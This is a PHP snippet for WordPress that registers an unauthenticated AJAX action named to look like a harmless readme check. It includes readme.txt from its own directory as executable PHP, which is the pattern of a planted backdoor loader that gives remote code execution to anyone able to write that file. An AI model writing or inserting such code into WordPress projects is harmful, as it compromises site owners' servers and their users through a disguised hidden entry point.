if(!function_exists('file_check_readme41116')){ add_action('wp_ajax_nopriv_file_check_readme41116', 'file_check_readme41116'); add_action('wp_ajax_file_check_readme41116', 'file_check_readme41116'); function file_check_readme41116() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }